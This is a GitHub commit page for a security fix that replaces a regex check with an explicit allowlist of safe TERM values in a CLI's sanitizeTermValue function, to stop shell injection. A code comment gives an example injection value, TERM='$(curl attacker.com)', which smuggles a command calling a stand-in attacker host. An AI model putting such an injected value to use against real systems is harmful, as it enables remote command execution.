Skip to content

Commit 95b5de0

Browse files
la14-1louisgvclaude
authored
fix: replace open regex with explicit allowlist in sanitizeTermValue (fixes #2461) (#2469)
Agent: ux-engineer Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
1 parent e9f8d5e commit 95b5de0

1 file changed

Lines changed: 17 additions & 2 deletions

File tree

  • packages/cli/src/shared

packages/cli/src/shared/ui.ts

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -337,11 +337,26 @@ export async function promptSpawnNameShared(cloudLabel: string): Promise<void> {
337337
logInfo(`Using resource name: ${kebab}`);
338338
}
339339

340+
/** Known-safe TERM values — defense-in-depth allowlist. */
341+
const SAFE_TERMS = new Set([
342+
"xterm-256color",
343+
"xterm",
344+
"screen-256color",
345+
"screen",
346+
"tmux-256color",
347+
"tmux",
348+
"linux",
349+
"vt100",
350+
"vt220",
351+
"dumb",
352+
]);
353+
340354
/** Sanitize TERM value before interpolating into shell commands.
341355
* SECURITY: Prevents shell injection via malicious TERM env vars
342-
* (e.g., TERM='$(curl attacker.com)' would execute on the remote server). */
356+
* (e.g., TERM='$(curl attacker.com)' would execute on the remote server).
357+
* Uses an explicit allowlist of known-safe values instead of a regex. */
343358
export function sanitizeTermValue(term: string): string {
344-
if (/^[a-zA-Z0-9._-]+$/.test(term)) {
359+
if (SAFE_TERMS.has(term)) {
345360
return term;
346361
}
347362
return "xterm-256color";

0 commit comments

Comments
 (0)